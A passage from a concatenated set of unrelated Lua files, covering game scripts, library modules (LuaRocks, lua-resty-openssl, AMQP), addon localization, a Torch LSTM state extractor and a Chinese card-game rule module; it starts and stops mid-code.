yagames_private.remove_listener(listener)
end
if callbacks[message_id] ~= nil then
callbacks[message_id](self, message)
end
end
yagames_private.add_listener(cb_id, listener)
return cb_id
end
function M.wrap_for_promise(then_callback)
local cb_id = next_cb_id()
local listener
listener = function(self, _cb_id, message_id, message)
yagames_private.remove_listener(listener)
then_callback(self, message_id, message)
end
yagames_private.add_listener(cb_id, listener)
return cb_id
end
function M.async_call(cb)
if cb then
timer.delay(0, false, function (self, handle)
cb(self)
end)
end
end
return M
|
--- Module implementing the luarocks-admin "make_manifest" command.
-- Compile a manifest file for a repository.
module("luarocks.make_manifest", package.seeall)
local manif = require("luarocks.manif")
local index = require("luarocks.index")
local cfg = require("luarocks.cfg")
local util = require("luarocks.util")
local deps = require("luarocks.deps")
help_summary = "Compile a manifest file for a repository."
help = [[
<argument>, if given, is a local repository pathname.
]]
--- Driver function for "make_manifest" command.
-- @param repo string or nil: Pathname of a local repository. If not given,
-- the default local repository configured as cfg.rocks_dir is used.
-- @return boolean or (nil, string): True if manifest was generated,
-- or nil and an error message.
function run(...)
local flags, repo = util.parse_flags(...)
assert(type(repo) == "string" or not repo)
repo = repo or cfg.rocks_dir
util.printout("Making manifest for "..repo)
local ok, err = manif.make_manifest(repo, deps.get_deps_mode(flags), true)
if ok then
util.printout("Generating index.html for "..repo)
index.make_index(repo)
end
return ok, err
end
|
return {'iwan','iwans'}
|
local ffi = require "ffi"
local C = ffi.C
local ffi_gc = ffi.gc
require "resty.openssl.include.x509.crl"
require "resty.openssl.include.x509.revoked"
local bn_lib = require("resty.openssl.bn")
local format_error = require("resty.openssl.err").format_error
local _M = {}
local mt = { __index = _M }
local revoked_ptr_ct = ffi.typeof('X509_REVOKED*')
local NID_crl_reason = C.OBJ_txt2nid("CRLReason")
assert(NID_crl_reason > 0)
--- Creates new instance of X509_REVOKED data
-- @tparam bn|number sn Serial number as number or bn instance
-- @tparam number time Revocation time
-- @tparam number reason Revocation reason
-- @treturn table instance of the module or nil
-- @treturn[opt] string Returns optional error message in case of error
function _M.new(sn, time, reason)
--- only convert to bn if it is number
if type(sn) == "number"then
sn = bn_lib.new(sn)
end
if not bn_lib.istype(sn) then
return nil, "x509.revoked.new: sn should be number or a bn instance"
end
if type(time) ~= "number" then
return nil, "x509.revoked.new: expect a number at #2"
end
if type(reason) ~= "number" then
return nil, "x509.revoked.new: expect a number at #3"
end
local ctx = C.X509_REVOKED_new()
ffi_gc(ctx, C.X509_REVOKED_free)
-- serial number
local sn_asn1 = C.BN_to_ASN1_INTEGER(sn.ctx, nil)
if sn_asn1 == nil then
return nil, "x509.revoked.new: BN_to_ASN1_INTEGER() failed"
end
ffi_gc(sn_asn1, C.ASN1_INTEGER_free)
if C.X509_REVOKED_set_serialNumber(ctx, sn_asn1) == 0 then
return nil, format_error("x509.revoked.new: X509_REVOKED_set_serialNumber()")
end
-- time
time = C.ASN1_TIME_set(nil, time)
if time == nil then
return nil, format_error("x509.revoked.new: ASN1_TIME_set()")
end
ffi_gc(time, C.ASN1_STRING_free)
if C.X509_REVOKED_set_revocationDate(ctx, time) == 0 then
return nil, format_error("x509.revoked.new: X509_REVOKED_set_revocationDate()")
end
-- reason
local reason_asn1 = C.ASN1_ENUMERATED_new()
if reason_asn1 == nil then
return nil, "x509.revoked.new: ASN1_ENUMERATED_new() failed"
end
ffi_gc(reason_asn1, C.ASN1_ENUMERATED_free)
local reason_ext = C.X509_EXTENSION_new()
if reason_ext == nil then
return nil, "x509.revoked.new: X509_EXTENSION_new() failed"
end
ffi_gc(reason_ext, C.X509_EXTENSION_free)
if C.ASN1_ENUMERATED_set(reason_asn1, reason) == 0 then
return nil, format_error("x509.revoked.new: ASN1_ENUMERATED_set()")
end
if C.X509_EXTENSION_set_data(reason_ext, reason_asn1) == 0 then
return nil, format_error("x509.revoked.new: X509_EXTENSION_set_data()")
end
if C.X509_EXTENSION_set_object(reason_ext, C.OBJ_nid2obj(NID_crl_reason)) == 0 then
return nil, format_error("x509.revoked.new: X509_EXTENSION_set_object()")
end
if C.X509_REVOKED_add_ext(ctx, reason_ext, 0) == 0 then
return nil, format_error("x509.revoked.new: X509_EXTENSION_set_object()")
end
local self = setmetatable({
ctx = ctx,
}, mt)
return self, nil
end
--- Type check
-- @tparam table Instance of revoked module
-- @treturn boolean true if instance is instance of revoked module false otherwise
function _M.istype(l)
return l and l.ctx and ffi.istype(revoked_ptr_ct, l.ctx)
end
return _M
|
local L = BigWigs:NewBossLocale("Mephistroth", "ptBR")
if not L then return end
if L then
L.custom_on_time_lost = "Tempo perdido durante Desvanecer nas Sombras"
L.custom_on_time_lost_desc = "Mostra o tempo perdido durante o Desvanecer nas Sombras na barra em |cffff0000red|r."
end
L = BigWigs:NewBossLocale("Domatrax", "ptBR")
if L then
L.custom_on_autotalk = "Conversa automática"
L.custom_on_autotalk_desc = "Seleciona instantaneamente a opção de fofoca da Égide de Aggramar para começar o confronto com Domatrax."
L.missing_aegis = "Você não está com a Égide " -- Aegis is a short name for Aegis of Aggramar
L.aegis_healing = "Égide: Cura Reduzida"
L.aegis_damage = "Égide: Dano Reduzido"
end
L = BigWigs:NewBossLocale("Cathedral of Eternal Night Trash", "ptBR")
if L then
L.dulzak = "Dul'zak"
L.wrathguard = "Invasor Guardião Colérico"
L.felguard = "Guarda Vil Destruidor"
L.soulmender = "Trata-alma Ardinferno"
L.temptress = "Tentadora Ardinferno"
L.botanist = "Botânica Vilanesca"
L.orbcaster = "Lança-orbe Passovil"
L.waglur = "Wa'glur"
L.scavenger = "Catador Língua de Serpe"
L.gazerax = "Gazerax"
L.vilebark = "Andarilho Cascavil"
L.throw_tome = "Arremessar Tomo" -- Common part of Throw Arcane/Frost/Silence Tome (242837/242839/242841)
end
|
-- Import the AMQP Client Library
local amqp = require("amqp")
-- Define the connection URL and Port
local host = "127.0.0.1"
local port = 5672
-- Connect to AMQP server
local ctx = amqp:new({
role = "producer",
user = "admin",
password = "admin"
})
local ok, err = ctx:connect("127.0.0.1",5672)
local ok, err = ctx:setup()
-- Delete the 'drx.xpto'exchange
local ok, err = amqp.exchange_delete(ctx,{
exchange = "drt.xpto",
})
-- Finalize proccess and close connection
ctx:teardown()
ctx:close()
|
local NORMAL_SPEED = 6
local ORBIT_SPEED = 1
local SPEED = NORMAL_SPEED -- pxl/s
local LIFETIME = 10;
State = {FREE = 0, ATTRACTED = 1, ORBIT = 2}
local targets;
local moon;
local lifetime = 0;
local MAX_LIFETIME = 3;
Object.inactive = true;
function Local.Init(x, y, vecInit, through_bridge)
local TILES = Engine.Scene:getTiles();
local tile_size = obe.Transform.UnitVector(
TILES:getWidth() * TILES:getTileWidth(), TILES:getHeight() * TILES:getTileHeight(),
obe.Transform.Units.ScenePixels
):to(obe.Transform.Units.SceneUnits);
Object.bounds = obe.Transform.Rect();
Object.bounds:setSize(tile_size);
Object.clock = 0;
Object.inactive = false;
Object.through_bridge = through_bridge or false;
targets = {}
discoverTargets()
center = {x = x, y = y}
oldCenter = {x = x, y = y}
vecUnit = Vector2(vecInit.x, vecInit.y):normalize()
while vecUnit == 0 do
x = (obe.Utils.Math.randint(0, 1) * 2 - 1) * obe.Utils.Math.randfloat()
y = (obe.Utils.Math.randint(0, 1) * 2 - 1) * obe.Utils.Math.randfloat()
vecUnit = Vector2(x, y):normalize()
end
This.SceneNode:setPosition(obe.Transform.UnitVector(x, y), obe.Transform.Referential.Center)
t = 0
state = State.FREE
direction = 1
if vecUnit ~= 0 then
checkAttraction()
checkOrbit()
end
This.Collider:addTag(obe.Collision.ColliderTagType.Rejected, "Character");
This.Collider:addTag(obe.Collision.ColliderTagType.Rejected, "Projectile");
if through_bridge then
This.Collider:addTag(obe.Collision.ColliderTagType.Rejected, "Bridge");
end
end
function discoverTargets()
for k, v in pairs(Engine.Scene:getAllGameObjects()) do
if v.Collider ~= nil and v.Collider:doesHaveTag(obe.Collision.ColliderTagType.Tag, "Target") then
table.insert(targets, v);
end
end
end
function getMoons()
return Engine.Scene:getAllGameObjects("Moon");
end
function checkAttraction()
if state == State.FREE then
for i, m in pairs(getMoons()) do
if m == moon then
if m:active() and not m:captive(center.x, center.y) then
moon = nil
end
elseif m:captive(center.x, center.y) then
state = State.ATTRACTED
moon = m
direction = moon:getDirection(center.x, center.y, vecUnit)
ramp = moon:getRampCircle(center.x, center.y, vecUnit, direction)
if ramp.circle ~= nil then
t = 0
initialAngle = moon:getAngle(center.x, center.y, ramp.circle)
end
if ramp.inverse then
direction = -direction
end
end
end
end
end
function checkOrbit()
if state == State.ATTRACTED and moon:orbit(center.x, center.y) then
state = State.ORBIT
t = 0
initialAngle = moon:getAngle(center.x, center.y)
if ramp.inverse then
direction = -direction
end
end
end
local function followCircle(circle, dt)
local angularSpeed = SPEED / circle.radius;
local angularVelocity = direction * angularSpeed;
t = t + dt
center.x = circle.radius * math.cos(t * angularVelocity + initialAngle) + circle.x
center.y = circle.radius * math.sin(t * angularVelocity + initialAngle) + circle.y
end
function Object:delete()
This.Sprite:setVisible(false);
Object.inactive = true;
end
function Event.Game.Update(event)
if Object.inactive then
return;
end
Object.clock = Object.clock + event.dt;
if Object.clock > LIFETIME then
Object:delete();
end
if state == State.ORBIT then
SPEED = ORBIT_SPEED;
else
SPEED = NORMAL_SPEED;
end
This.Sprite:rotate(SPEED * event.dt * 180, obe.Transform.Referential.Center);
if moon ~= nil and not moon:active() then
state = State.FREE
vecUnit = Vector2(center.x - oldCenter.x, center.y - oldCenter.y):normalize()
end
oldCenter = {x = center.x, y = center.y}
if state == State.ORBIT then
local orbitPos = moon:getPosition()
local orbitRadius = moon:getOrbitRadius()
followCircle({radius = orbitRadius, x = orbitPos.x, y = orbitPos.y}, event.dt)
elseif state == State.ATTRACTED and ramp.circle ~= nil then
followCircle(ramp.circle, event.dt)
checkOrbit()
else
center.x = center.x + vecUnit.x * SPEED * event.dt;
center.y = center.y + vecUnit.y * SPEED * event.dt
if state == State.ATTRACTED then
checkOrbit()
else
checkAttraction()
end
end
for _, target in pairs(targets) do
local offset = obe.Transform.UnitVector(center.x - oldCenter.x, center.y - oldCenter.y);
local max_dist_before_collision = This.Collider:getMaximumDistanceBeforeCollision(
target.Collider, offset
);
if max_dist_before_collision ~= offset then
print("Target hit", target.Collider:getCentroid());
print("Positions center", center.x, center.y);
print("Old position", oldCenter.x, oldCenter.y);
target:hit()
-- TODO: Fix this shit
This.SceneNode:setPosition(
obe.Transform.UnitVector(
0, 0, obe.Transform.Units.ScenePixels
), obe.Transform.Referential.Center
)
Object.inactive = true;
return
end
end
local collisions = This.Collider:getMaximumDistanceBeforeCollision(
obe.Transform.UnitVector(
center.x - oldCenter.x, center.y - oldCenter.y
)
).colliders;
if #collisions ~= 0 then
This.Sprite:setVisible(false);
Object.inactive = true;
end
local next_position = obe.Transform.UnitVector(center.x, center.y);
if not Object.bounds:contains(next_position) then
Object:delete();
else
This.SceneNode:setPosition(next_position, obe.Transform.Referential.Center);
end
end
|
local BaseClass = {}
BaseClass.__index = BaseClass
--[[setmetatable(BaseClass, {
__call = function (cls, ...)
local self = setmetatable({}, cls)
self:_init(...)
return self
end,
})]]
function BaseClass:new(init)
local self = setmetatable({}, BaseClass)
self.value = init
return self
end
function BaseClass:set_value(newval)
self.value = newval
end
function BaseClass:get_value()
return self.value
end
return BaseClass
|
-- Borrowed from SLASH'EM
--
--
des.level_init({ style = "solidfill", fg = " " });
des.level_flags("mazelevel", "noteleport", "hardfloor", "premapped", "solidify");
des.map([[
-----------------
|.......|...--..|
|.-----.|.......|
|.---...|.......|
|...........--..|
|......--...||..|
|FFFFF-------|.-|
|...........|-..|
|.....-------...|
|...............|
|..L..-------...|
|.....| |...|
------- -----
]]);
des.levregion({ region = {01,05,01,05}, type = "branch" })
des.stair("up", 11,07)
des.region(selection.area(00,00,30,12),"lit")
des.non_diggable(selection.area(00,00,30,12))
des.non_passwall(selection.area(00,00,30,12))
-- Boulders
des.object("boulder",06,03)
des.object("boulder",06,04)
des.object("boulder",07,04)
des.object("boulder",12,02)
des.object("boulder",12,03)
des.object("boulder",14,04)
des.object("boulder",14,07)
des.object("boulder",12,09)
des.object("boulder",13,09)
des.object("boulder",14,10)
-- Traps
des.trap("pit",6,7)
des.trap("pit",6,9)
des.trap("pit",7,7)
des.trap("pit",7,9)
des.trap("pit",8,7)
des.trap("pit",8,9)
des.trap("pit",9,7)
des.trap("pit",9,9)
des.trap("pit",10,7)
des.trap("pit",10,9)
-- A little help
des.object("earth",14,01)
des.object("earth",15,01)
-- Random objects
des.object({ class = "%" });
des.object({ class = "%" });
des.object({ class = "%" });
des.object({ class = "%" });
des.object({ class = "=" });
des.object({ class = "/" });
|
return {
methods = {
close = {
function(self, args, ret)
if self.puppeting then
self:unpuppet()
end
print(("%s [%s] has disconnected"):format(self.name, self.sock:getpeername()))
self.sock:close()
end
},
puppet = {
function(self, args, ret)
local character = args[1]
if character.__puppeteer then
return STOP
end
character.__puppeteer = self
character:call("onPuppet", {self})
self.puppeting = character
return true
end
},
unpuppet = {
function(self, args, ret)
local character = self.puppeting
character.__puppeteer = nil
character:call("onUnpuppet", {self})
self.puppeting = nil
end
},
},
}
|
data.raw.player.player.mining_categories = {}
|
--[[
Copyright 2019 Manticore Games, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
documentation files (the "Software"), to deal in the Software without restriction, including without limitation the
rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the
Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
--]]
-- Internal custom properties
local AS = require(script:GetCustomProperty("API"))
local COMPONENT_ROOT = script:GetCustomProperty("ComponentRoot"):WaitForObject()
local MAP_CONTAINER = script:GetCustomProperty("MapContainer"):WaitForObject()
local MAP_PLAYER_INDICATOR = script:GetCustomProperty("MapPlayerIndicator")
-- User exposed properties
local HIDE_ENEMIES_WHEN_ALIVE = COMPONENT_ROOT:GetCustomProperty("HideEnemiesWhenAlive")
local SELF_COLOR = COMPONENT_ROOT:GetCustomProperty("SelfColor")
local ENEMY_COLOR = COMPONENT_ROOT:GetCustomProperty("EnemyColor")
-- Constants
local LOCAL_PLAYER = Game.GetLocalPlayer()
-- Variables
local playerIndicators = {}
-- float GetClampedAngle(float)
-- Returns the angle in the range [0, 360)
function GetClampedAngle(angle)
local result = math.fmod(angle, 360.0)
if result < 0.0 then
return result + 360.0
end
return result
end
-- nil UpdatePlayerIndicator(Player, CoreObject)
-- Updates the player icon in the map view
function UpdatePlayerIndicator(player, indicator)
-- Hide enemies location during lobby
if HIDE_ENEMIES_WHEN_ALIVE and LOCAL_PLAYER ~= player
and Teams.AreTeamsEnemies(player.team, LOCAL_PLAYER.team)
and not LOCAL_PLAYER.isDead
then
playerIndicators[player].visibility = Visibility.FORCE_OFF
return
end
-- Show player indicator
playerIndicators[player].visibility = Visibility.INHERIT
-- Get player screen position
local playerScreenPos = UI.GetScreenPosition(player:GetWorldPosition())
if not playerScreenPos then return end
indicator.x = playerScreenPos.x
indicator.y = playerScreenPos.y
-- Get the custom properties and apply player info
local playerName = indicator:GetCustomProperty("PlayerName"):WaitForObject()
local playerIndicator = indicator:GetCustomProperty("PlayerIndicator"):WaitForObject()
local playerIndicatorOutline = indicator:GetCustomProperty("PlayerIndicatorOutline"):WaitForObject()
local enemyIndicator = indicator:GetCustomProperty("EnemyIndicator"):WaitForObject()
local enemyIndicatorOutline = indicator:GetCustomProperty("EnemyIndicatorOutline"):WaitForObject()
if LOCAL_PLAYER == player then
playerIndicatorOutline.visibility = Visibility.INHERIT
enemyIndicatorOutline.visibility = Visibility.FORCE_OFF
playerIndicator:SetColor(SELF_COLOR)
playerName.text = "YOU"
playerIndicatorOutline.rotationAngle = GetClampedAngle(player:GetWorldRotation().z)
else
enemyIndicatorOutline.visibility = Visibility.INHERIT
playerIndicatorOutline.visibility = Visibility.FORCE_OFF
enemyIndicator:SetColor(ENEMY_COLOR)
playerName:SetColor(ENEMY_COLOR)
playerName.text = player.name
end
end
-- nil Tick()
-- Updates map indicators
function Tick()
-- Display map functionality
if AS.IsSpectating() then
MAP_CONTAINER.visibility = Visibility.INHERIT
for _, player in ipairs(Game.GetPlayers()) do
if not playerIndicators[player] and Object.IsValid(player) then
playerIndicators[player] = World.SpawnAsset(MAP_PLAYER_INDICATOR, {parent = MAP_CONTAINER})
end
if playerIndicators[player] and Object.IsValid(player) then
UpdatePlayerIndicator(player, playerIndicators[player])
end
end
else
MAP_CONTAINER.visibility = Visibility.FORCE_OFF
end
end
-- nil OnPlayerJoined(Player)
-- Add new player indicator to the table
function OnPlayerJoined(player)
if not playerIndicators[player] and Object.IsValid(player) then
playerIndicators[player] = World.SpawnAsset(MAP_PLAYER_INDICATOR, {parent = MAP_CONTAINER})
end
end
-- nil OnPlayerJoined(Player)
-- Remove indicator of the leaving player from the table
function OnPlayerLeft(player)
if playerIndicators[player] then
playerIndicators[player]:Destroy()
playerIndicators[player] = nil
end
end
-- Initialize
Game.playerJoinedEvent:Connect(OnPlayerJoined)
Game.playerLeftEvent:Connect(OnPlayerLeft)
MAP_CONTAINER.visibility = Visibility.FORCE_OFF
|
local MainUIMenuView = BaseClass(UINode)
function MainUIMenuView:Constructor( )
self.viewCfg = {
prefabPath = "Assets/AssetBundleRes/ui/mainui/MainUIMenuView.prefab",
canvasName = "MainUI",
}
end
function MainUIMenuView:OnLoad( )
local names = {
"bag:obj",
}
UI.GetChildren(self, self.transform, names)
self:AddEvents()
self:OnUpdate()
end
function MainUIMenuView:AddEvents( )
local on_click = function ( click_obj )
if self.bag_obj == click_obj then
local view = require("Game.Bag.BagMainView").New()
view:Load()
-- elseif self.main_city_obj == click_obj then
-- SceneMgr.Instance:ReqEnterScene(1001, 0)
end
end
-- UI.BindClickEvent(self.main_city_obj, on_click)
UI.BindClickEvent(self.bag_obj, on_click)
end
function MainUIMenuView:OnUpdate( )
end
return MainUIMenuView
|
-- Copyright (c) 2021 Trevor Redfern
--
-- This software is released under the MIT License.
-- https://opensource.org/licenses/MIT
local Components = require "moonpie.ui.components"
local Player = require "game.rules.player"
local connect = require "moonpie.redux.connect"
local tables = require "moonpie.tables"
local SpriteImage = require "game.ui.widgets.sprite_image"
local Slot = Components("quick_slots_slot", function(props)
return {
id = "hotkey_" .. props.hotkey,
SpriteImage { id = "HotKeyImage", sprite = props.action.image },
Components.text { text = props.hotkey, style = "align-bottom align-right" },
click = props.action.handler,
}
end)
local QuickSlots = Components("quick_slots", function(props)
local hotkeys = props.hotkeys or {}
return {
hotkeys = hotkeys,
render = function(self)
return tables.map(self.hotkeys, function(item)
return Slot { action = item.value, hotkey = item.key }
end)
end
}
end)
return connect(QuickSlots, function(state)
local hotkeys = Player.selectors.getHotKeys(state) or {}
local sortedKeys = tables.sortBy(hotkeys, function(k) return k end)
return {
hotkeys = sortedKeys
}
end)
|
local function EXPORT_GLOBAL(key, value)
_G[key] = value
eonz.log('exported "' .. key .. '" to the global table')
end
local function EXPORT_OPT_GLOBAL(opt, def, value)
if opt then
local key = type(opt) == 'string' and opt or def
EXPORT_GLOBAL(key, value)
end
end
-- # Optional Exports
-- To export these optional packages into the global namespace, set
-- their opts key to a truthy value when calling this function. If
-- you set the value to a string, that string is the name the package
-- will be exported as. If you set the value to `true`, they will be
-- exported under their default name.
return function(opts)
local root_namespace = require 'eonz.namespace'
if opts.debug_messages then
root_namespace.eonz:setVariable("DEBUG", true)
root_namespace.eonz:setVariable("log", function (...) print (...) end)
else
root_namespace.eonz:setVariable("log", function () end)
end
EXPORT_GLOBAL("eonz", root_namespace.eonz)
EXPORT_OPT_GLOBAL(opts.global_vector, "vector", root_namespace.eonz.vector)
EXPORT_OPT_GLOBAL(opts.global_namespace, "lib", root_namespace)
end
|
local s = "chocolate,1.29,darkchocolat"
local commaPosition = string.find(s, ",")
print(commaPosition)
local item = string.sub(s, 1, commaPosition-1)
local price = string.sub(s, commaPosition+1)
print(item)
print(price)
|
local function phpfpm(act)
return action.when(physical.path:suffix(".php"),
action.when(physical.is_file:is(), act),
action.when(request.path:eq("/fpm-status"), act)
)
end
actions = {
["phpfpm"] = phpfpm,
}
|
require 'nn'
require 'rnn'
require 'nngraph'
require 'hdf5'
--[[
Extracts the hidden state and output of a trained model
at each time step of a data set.
Author: Sebastian Gehrmann
--]]
cmd = torch.CmdLine()
cmd:option('-rnn_size', 650, 'size of LSTM internal state')
cmd:option('-num_layers', 2, 'number of layers in the LSTM')
cmd:option('-data_file','data/','path to data file in hdf5 format')
cmd:option('-checkpoint_file','checkpoint/','path to model checkpoint file in t7 format')
cmd:option('-output_file','checkpoint/lstm_states.h5','path to output LSTM states in hdf5 format')
cmd:option('-gpuid',-1,'which gpu to use. -1 = use CPU')
opt = cmd:parse(arg)
if opt.gpuid >= 0 then
print('using CUDA on GPU ' .. opt.gpuid .. '...')
require 'cutorch'
require 'cunn'
cutorch.setDevice(opt.gpuid + 1)
end
-- Construct the data set.
local data = torch.class("data")
function data:__init(data_file)
local f = hdf5.open(data_file, 'r')
self.target = f:read('target'):all()
self.target_output = f:read('target_output'):all()
self.target_size = f:read('target_size'):all()[1]
self.length = 500--self.target:size(1)
self.batchlength = self.target:size(2)
self.seqlength = self.target:size(3)
end
function data.__index(self, idx)
local input, target
if type(idx) == "string" then
return data[idx]
elseif opt.gpuid > -1 then
input = self.target[idx]:transpose(1, 2):float():cuda()
target = nn.SplitTable(2):forward(self.target_output[idx]:float():cuda())
else
input = self.target[idx]:transpose(1, 2):float()
target = nn.SplitTable(2):forward(self.target_output[idx]:float())
end
return {input, target}
end
--Load the Data
local data = data.new(opt.data_file)
model = torch.load(opt.checkpoint_file)
k = 1
currentbatch = 1
Module = nn.Module
all_hidden = {}
count = {}
for i = 1, (2*opt.num_layers) do
all_hidden[i] = torch.FloatTensor(data.length * data.batchlength * data.seqlength, opt.rnn_size)
count[i] = 1
end
print("starting the extraction...")
-- Function to recursively extract output and hidden state of the LSTM
function Module:get_states()
if self.modules then
for i,module in ipairs(self.modules) do
if torch.type(module) == "nn.FastLSTM" or torch.type(module) == "nn.GRU"then
if module.output ~= nil then
all_hidden[k][count[k]]:copy(module.output[currentbatch])
count[k] = count[k] + 1
k = k + 1
end
if module.cell ~= nil then
all_hidden[k][count[k]]:copy(module.cell[currentbatch])
count[k] = count[k] + 1
k = k + 1
end
else
module:get_states()
end
end
end
end
-- Runs over the Data Set and computes the current hidden states
function eval_states(data, model)
model:forget()
model:evaluate()
for b = 1, data.batchlength do
for i = 1, data.length do
local d = data[i]
local input, goal = d[1], d[2]
for j = 1, data.seqlength do
out = model:forward(input:narrow(1,j,1))
k = 1
model:get_states()
end
end
print('output batch ' .. b .. ' of ' .. data.batchlength)
currentbatch = currentbatch + 1
end
end
function construct_index(index)
string_type = ""
if index%2 == 1 then
string_type = "output"
else
string_type = "states"
end
string_index = math.ceil(index/2)
return string_type .. string_index
end
eval_states(data, model)
local f = hdf5.open(opt.output_file, 'w')
for k=1, 2*opt.num_layers do
f:write(construct_index(k), all_hidden[k]:float())
end
f:close()
|
local suite = yatm_autotest.att:new_suite("YATM Refinery")
|
--[[--ldoc desc
@module paixing_1569_2
@author WahidZhang
Date 2018-01-09 19:35:02
Last Modified by WahidZhang
Last Modified time 2018-07-03 17:54:14
]]
--[[
paixing_1569_2:
paixing_1569_2: 2对及以上两张点数+花色相同的牌
1、相连的对子,牌点必需相邻,主、副不能相连
2、对大王+对小王是独立的连对
注:这里的花色相同,指黑红梅方其中任意一色完全相同
paidiandaxiao_1579_2: 同牌型的牌点大小:AA22<2233<…
牌型:连对(升级类)
特征:牌点相邻的两组牌,每组都由两张相同牌点和相同花色的牌组成
例如:(33 44)、(77 88)、(小王小王 大王大王)
范围:A-2-3-...-J-Q-K-小王-大王
]]
local CardBase = import("..base.CardBase")
local M = class(CardBase)
function M:ctor(data, ruleDao)
self:init(data)
end
function M:init(data)
local function dealLineArgStr(str)
if not str then
return
end
local lineMap = {}
local strArr = string.split(str,"/")
for _, str1 in ipairs(strArr) do
local temp = {}
local wangTemp = {}
local arr = string.split(str1, ">")
for i=1, #arr do
if arr[i] == "大王" or arr[i] == "小王" then
table.insert(wangTemp, 1, arr[i])
else
table.insert(temp, 1, arr[i])
end
end
table.insert(lineMap, 1, wangTemp)
table.insert(lineMap, 1, temp)
end
return lineMap
end
local lineMap = {
{"A", "2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K"},
{"小王", "大王"},
}
self.lineArgs = self.sortRule and self.sortRule[1].args[1]
self.lineMap = dealLineArgStr(self.lineArgs) or lineMap
self.sameCount = 2
self.minLength = 2
self.minNum = self.sameCount * self.minLength
self.offset = self.sameCount
end
--转换成对应的牌值
local function getCardByteFromAttr(valueStr, color)
local byte
if string.find(valueStr, "%a") == 1 or string.find(valueStr, "%d") == 1 then
byte = CardUtils.getCardByteFromAttr(Card.ValueMap:getKeyByValue(valueStr), color)
else
byte = Card.ByteMap:getKeyByValue(valueStr)
end
return byte
end
--分离主副牌
local function separateMainCards(ruleDao,cardList)
local mainCards = {}
local otherCards = {}
for _, card in pairs(cardList) do
if ruleDao:isMainCard(card) then
table.insert(mainCards, card)
else
table.insert(otherCards, card)
end
end
return mainCards, otherCards
end
function M:check(data)
local cardList = data.outCardInfo.cardList
local cardStack = new(CardStack, {cards = cardList})
if #cardList < self.sameCount * self.minLength then
return false
end
local mainCards = separateMainCards(data.ruleDao, cardList)
if #mainCards ~= 0 and #mainCards ~= #cardList then
return false
end
local function checkOneMap(map) ----检查一个序列里是否有满足的
local totalCount = 0 ---记录已使用的牌数
local curCount = 0 --当前牌在牌列表中有多少张
local lastByte = nil --记录下找到序列的最后一张牌
for color = 0, 3 do
for _, v in ipairs(map) do
local byte = getCardByteFromAttr(v, color)
curCount = cardStack:getNumberByByte(byte)
if curCount == self.sameCount then
totalCount = totalCount + curCount
lastByte = byte
elseif curCount == 0 then
if totalCount == #cardList then
return true, lastByte
end
totalCount = 0
lastByte = nil
else
break
end
end
if totalCount == #cardList then
return true, lastByte
else
totalCount = 0
lastByte = nil
end
end
end
for _,map in pairs(self.lineMap) do --检查多个序列
local code, byte = checkOneMap(map)
if code then
data.outCardInfo.size = self.sortRule.args
data.outCardInfo.byteToSize = self.byteToSize
data.outCardInfo.cardByte = byte
return code
end
end
end
function M:compare(data)
local outCardList = data.outCardInfo.cardList
local targetCardList = data.targetCardInfo.cardList
if #outCardList ~= #targetCardList then
return false
end
local outCardByte = data.outCardInfo.cardByte
local tagetCardByte = data.targetCardInfo.cardByte
return self.byteToSize[outCardByte] > self.byteToSize[tagetCardByte]
end
function M:find(data)
if data.targetCardInfo then
local targetCardNum = #data.targetCardInfo.cardList
if targetCardNum < self.sameCount * self.minLength then
return
end
local __groupNum = targetCardNum/self.sameCount
if __groupNum ~= math.floor(__groupNum) then
return
end
end
--统一处理返回结果
local function dealResult(cardStack, resultList)
--TODO:是否统一排序
if not resultList then
return
end
return {
cardList = resultList,
cardByte = resultList[1].byte,
cardType = self.uniqueId,
}
end
--找到value在序列中的位置
local function getLineMapIndex(lineMap,value)
for i, v in ipairs(lineMap) do
if v == value then
return i
end
end
end
---找到序列大于targetCardByte的起始下标
local function getBeginIndex(lineMap,targetCardByte,length)
local length = length and length or self.minLength * self.sameCount
if not targetCardByte then
return 1
else
local card = Card.new(targetCardByte)
local targetIndex = getLineMapIndex(lineMap,Card.ValueMap:get(card.value))
if targetIndex and targetIndex < #lineMap then
return (targetIndex + 1) - length/self.sameCount +1
else
return
end
end
end
--找大王小王连对
local function findFromKingMap(cardStack, targetCardByte, length)
if targetCardByte and targetCardByte == Card.ByteMap:rget("大王") then
return
end
if length and length ~= 4 then
return
end
local redKings = cardStack:getCardsByByte(Card.ByteMap:getKeyByValue("大王"))
local blackKings = cardStack:getCardsByByte(Card.ByteMap:getKeyByValue("小王"))
if #redKings >= self.sameCount and #blackKings >= self.sameCount then
local result = {}
for i = 1, self.sameCount do
table.insert(result, redKings[i])
end
for i = 1, self.sameCount do
table.insert(result, blackKings[i])
end
return dealResult(cardStack, result)
end
end
--从一个序列中找
local function findFromOneMap(cardStack,map,targetCardByte,length,queue)
local index = getBeginIndex(map,targetCardByte,length)
if not index then
return
end
local beginIndex = nil
local endIndex = nil
local steep = nil
local insertPos = 1
local insertPosChange = 1
if queue == 1 then --从小到大,从左往右
beginIndex = index
endIndex = #map
steep = 1
insertPosChange = 0
else --从大到小
beginIndex = #map
endIndex = index
steep = -1
end
local realColor = nil
if targetCardByte then
realColor = Card.new(targetCardByte).color
end
local result = {}
for color = 0, 3 do --花色遍历
for index = beginIndex, endIndex, steep do
local byte = getCardByteFromAttr(map[index], realColor or color)
local cards = cardStack:getCardsByByte(byte)
local curCount = #cards
if curCount >= self.sameCount then
for i = 1, self.sameCount do
table.insert(result, insertPos, cards[i])
insertPos = insertPos + insertPosChange
end
if length and #result == length then
return dealResult(cardStack, result)
end
else
if not length and #result >= self.minLength * self.sameCount then
return dealResult(cardStack, result)
end
result = {}
insertPos = 1
end
if index == endIndex then
